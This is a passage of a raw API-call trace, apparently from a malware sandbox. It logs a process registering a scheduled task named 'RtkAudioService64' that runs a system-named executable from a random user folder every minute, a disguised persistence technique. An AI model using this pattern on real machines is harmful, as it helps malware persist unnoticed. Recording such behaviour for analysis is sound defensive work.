cchData=128 | out: lpLCData="0") returned 2 [0171.530] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.530] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0171.530] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0171.530] GetProcessHeap () returned 0x46b0000 [0171.530] GetProcessHeap () returned 0x46b0000 [0171.530] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46bad48) returned 1 [0171.530] GetProcessHeap () returned 0x46b0000 [0171.530] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46bad48) returned 0xe [0171.530] GetProcessHeap () returned 0x46b0000 [0171.530] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x16) returned 0x46b96b8 [0171.530] GetLocalTime (in: lpSystemTime=0xcca7c | out: lpSystemTime=0xcca7c*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x3, wDay=0x7, wHour=0x17, wMinute=0xb, wSecond=0x27, wMilliseconds=0x10e)) [0171.530] lstrlenW (lpString="") returned 0 [0171.531] GetLocalTime (in: lpSystemTime=0xccf30 | out: lpSystemTime=0xccf30*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x3, wDay=0x7, wHour=0x17, wMinute=0xb, wSecond=0x27, wMilliseconds=0x10e)) [0171.531] lstrlenW (lpString="") returned 0 [0171.531] lstrlenW (lpString="") returned 0 [0171.531] lstrlenW (lpString="") returned 0 [0171.531] lstrlenW (lpString="") returned 0 [0171.531] lstrlenW (lpString="1") returned 1 [0171.531] _wtol (_String="1") returned 1 [0171.531] lstrlenW (lpString="") returned 0 [0171.531] lstrlenW (lpString="") returned 0 [0171.531] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0171.542] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0171.608] CoCreateInstance (in: rclsid=0x2326c0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x2326d0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xcce4c | out: ppv=0xcce4c*=0x48838b0) returned 0x0 [0171.631] TaskScheduler:ITaskService:Connect (This=0x48838b0, serverName=0xccdfc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xcce0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xcce1c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xcce2c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0171.676] TaskScheduler:ITaskService:GetFolder (in: This=0x48838b0, Path=0x0, ppFolder=0xccf14 | out: ppFolder=0xccf14*=0x48839d8) returned 0x0 [0171.679] TaskScheduler:ITaskService:NewTask (in: This=0x48838b0, flags=0x0, ppDefinition=0xccf24 | out: ppDefinition=0xccf24*=0x4883a28) returned 0x0 [0171.680] ITaskDefinition:get_Actions (in: This=0x4883a28, ppActions=0xcce98 | out: ppActions=0xcce98*=0x4883a78) returned 0x0 [0171.680] IActionCollection:Create (in: This=0x4883a78, Type=0, ppAction=0xcce9c | out: ppAction=0xcce9c*=0x4883cd0) returned 0x0 [0171.680] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.681] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.681] lstrlenW (lpString=" ") returned 1 [0171.681] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x4a) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x7a) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x58) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0171.681] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0171.682] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0171.683] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0171.683] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0171.683] lstrlenW (lpString="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe") returned 61 [0171.683] StrChrIW (lpStart="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe", wMatch=0x20) returned 0x0 [0171.683] RtlRestoreLastWin32Error () returned 0x490 [0171.683] IUnknown:Release (This=0x4883cd0) returned 0x1 [0171.683] IUnknown:Release (This=0x4883a78) returned 0x1 [0171.683] ITaskDefinition:get_Triggers (in: This=0x4883a28, ppTriggers=0xcca68 | out: ppTriggers=0xcca68*=0x4883c18) returned 0x0 [0171.683] ITriggerCollection:Create (in: This=0x4883c18, Type=1, ppTrigger=0xcca7c | out: ppTrigger=0xcca7c*=0x4883d10) returned 0x0 [0171.683] lstrlenW (lpString="1") returned 1 [0171.683] _vsnwprintf (in: _Buffer=0xcca1c, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xcca10 | out: _Buffer="PT1M") returned 4 [0171.683] ITrigger:get_Repetition (in: This=0x4883d10, ppRepeat=0xcca78 | out: ppRepeat=0xcca78*=0x4883d60) returned 0x0 [0171.684] IRepetitionPattern:put_Interval (This=0x4883d60, Interval="PT1M") returned 0x0 [0171.684] IUnknown:Release (This=0x4883d60) returned 0x1 [0171.684] _vsnwprintf (in: _Buffer=0xcc9ec, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xcc9cc | out: _Buffer="2024-02-07T23:11:00") returned 19 [0171.684] ITrigger:put_StartBoundary (This=0x4883d10, StartBoundary="2024-02-07T23:11:00") returned 0x0 [0171.684] lstrlenW (lpString="") returned 0 [0171.684] lstrlenW (lpString="") returned 0 [0171.684] lstrlenW (lpString="") returned 0 [0171.684] lstrlenW (lpString="") returned 0 [0171.684] IUnknown:Release (This=0x4883d10) returned 0x1 [0171.684] IUnknown:Release (This=0x4883c18) returned 0x1 [0171.684] ITaskDefinition:get_Settings (in: This=0x4883a28, ppSettings=0xccea4 | out: ppSettings=0xccea4*=0x4883b30) returned 0x0 [0171.684] lstrlenW (lpString="") returned 0 [0171.684] IUnknown:Release (This=0x4883b30) returned 0x3 [0171.684] GetLocalTime (in: lpSystemTime=0xccd98 | out: lpSystemTime=0xccd98*(wYear=0x7e8, wMonth=0x2, wDayOfWeek=0x3, wDay=0x7, wHour=0x17, wMinute=0xb, wSecond=0x27, wMilliseconds=0x1aa)) [0171.684] ResolveDelayLoadedAPI () returned 0x73f5c5f0 [0171.685] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xccda8, nSize=0xccd90 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xccd90) returned 0x1 [0171.685] ITaskDefinition:get_RegistrationInfo (in: This=0x4883a28, ppRegistrationInfo=0xccd94 | out: ppRegistrationInfo=0xccd94*=0x4883ac0) returned 0x0 [0171.685] IRegistrationInfo:put_Author (This=0x4883ac0, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0171.685] _vsnwprintf (in: _Buffer=0xccda8, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xccd68 | out: _Buffer="2024-02-07T23:11:39") returned 19 [0171.686] IRegistrationInfo:put_Date (This=0x4883ac0, Date="2024-02-07T23:11:39") returned 0x0 [0171.686] IUnknown:Release (This=0x4883ac0) returned 0x1 [0171.686] malloc (_Size=0xc) returned 0x4883d98 [0171.686] free (_Block=0x4883d98) [0171.686] lstrlenW (lpString="") returned 0 [0171.686] malloc (_Size=0xc) returned 0x4883d98 [0171.686] ITaskFolder:RegisterTaskDefinition (in: This=0x48839d8, Path="RtkAudioService64", pDefinition=0x4883a28, flags=6, UserId=0xcce88*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xcce98*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xcceac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xccef4 | out: ppTask=0xccef4*=0x48821b0) returned 0x0 [0172.009] free (_Block=0x4883d98) [0172.009] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0172.009] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0172.009] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0172.009] GetProcessHeap () returned 0x46b0000 [0172.009] GetProcessHeap () returned 0x46b0000 [0172.009] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46bac70) returned 1 [0172.009] GetProcessHeap () returned 0x46b0000 [0172.009] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46bac70) returned 0xc [0172.010] GetProcessHeap () returned 0x46b0000 [0172.010] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x82) returned 0x46c9f80 [0172.010] _vsnwprintf (in: _Buffer=0xcd348, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xccebc | out: _Buffer="SUCCESS: The scheduled task \"RtkAudioService64\" has successfully been created.\n") returned 79 [0172.010] __iob_func () returned 0x756f1208 [0172.010] _fileno (_File=0x756f1228) returned 1 [0172.010] _errno () returned 0x48805b0 [0172.010] _get_osfhandle (_FileHandle=1) returned 0x3c [0172.010] _errno () returned 0x48805b0 [0172.010] GetFileType (hFile=0x3c) returned 0x2 [0172.010] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0172.010] GetFileType (hFile=0x3c) returned 0x2 [0172.010] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcce90 | out: lpMode=0xcce90) returned 1 [0172.115] __iob_func () returned 0x756f1208 [0172.115] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0172.115] lstrlenW (lpString="SUCCESS: The scheduled task \"RtkAudioService64\" has successfully been created.\n") returned 79 [0172.115] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xcd348*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0xcceb4, lpReserved=0x0 | out: lpBuffer=0xcd348*, lpNumberOfCharsWritten=0xcceb4*=0x4f) returned 1 [0172.165] IUnknown:Release (This=0x48821b0) returned 0x0 [0172.165] TaskScheduler:IUnknown:Release (This=0x4883a28) returned 0x0 [0172.165] TaskScheduler:IUnknown:Release (This=0x48839d8) returned 0x0 [0172.165] TaskScheduler:IUnknown:Release (This=0x48838b0) returned 0x0 [0172.165] lstrlenW (lpString="") returned 0 [0172.165] lstrlenW (lpString="1") returned 1 [0172.165] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0172.165] GetProcessHeap () returned 0x46b0000 [0172.165] GetProcessHeap () returned 0x46b0000 [0172.165] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46ba0a0) returned 1 [0172.165] GetProcessHeap () returned 0x46b0000 [0172.165] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46ba0a0) returned 0x1fc [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6da0) returned 1 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6da0) returned 0x4 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b97d8) returned 1 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b97d8) returned 0x16 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b74c0) returned 1 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b74c0) returned 0x10 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b97b8) returned 1 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b97b8) returned 0x14 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9020) returned 1 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9020) returned 0xa0 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] GetProcessHeap () returned 0x46b0000 [0172.166] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b7580) returned 1 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b7580) returned 0x10 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b95d8) returned 1 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b95d8) returned 0x14 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46bab58) returned 1 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46bab58) returned 0x7c [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46baca0) returned 1 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46baca0) returned 0x10 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9778) returned 1 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9778) returned 0x14 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6b10) returned 1 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6b10) returned 0x80 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.167] GetProcessHeap () returned 0x46b0000 [0172.168] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b7568) returned 1 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b7568) returned 0x10 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b95b8) returned 1 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b95b8) returned 0x14 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b7448) returned 1 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b7448) returned 0xc [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b7610) returned 1 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b7610) returned 0x10 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9758) returned 1 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9758) returned 0x14 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b8e10) returned 1 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.168] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b8e10) returned 0x208 [0172.168] GetProcessHeap () returned 0x46b0000 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b74d8) returned 1 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b74d8) returned 0x10 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9458) returned 1 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9458) returned 0x14 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46ba950) returned 1 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46ba950) returned 0x200 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b7460) returned 1 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b7460) returned 0x10 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9818) returned 1 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9818) returned 0x14 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9618) returned 1 [0172.169] GetProcessHeap () returned 0x46b0000 [0172.169] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9618) returned 0x14 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b7598) returned 1 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b7598) returned 0x10 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b2898) returned 1 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b2898) returned 0x14 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9638) returned 1 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9638) returned 0x16 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b75f8) returned 1 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b75f8) returned 0x10 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6748) returned 1 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6748) returned 0x14 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b0598) returned 1 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b0598) returned 0x2 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.170] GetProcessHeap () returned 0x46b0000 [0172.171] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6f78) returned 1 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6f78) returned 0x14 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6d40) returned 1 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6d40) returned 0x14 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6d60) returned 1 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6d60) returned 0x14 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6d80) returned 1 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6d80) returned 0x14 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9558) returned 1 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9558) returned 0x14 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46bad90) returned 1 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46bad90) returned 0xe [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] GetProcessHeap () returned 0x46b0000 [0172.171] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9678) returned 1 [0172.172] GetProcessHeap () returned 0x46b0000 [0172.172] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9678) returned 0x14 [0172.172] 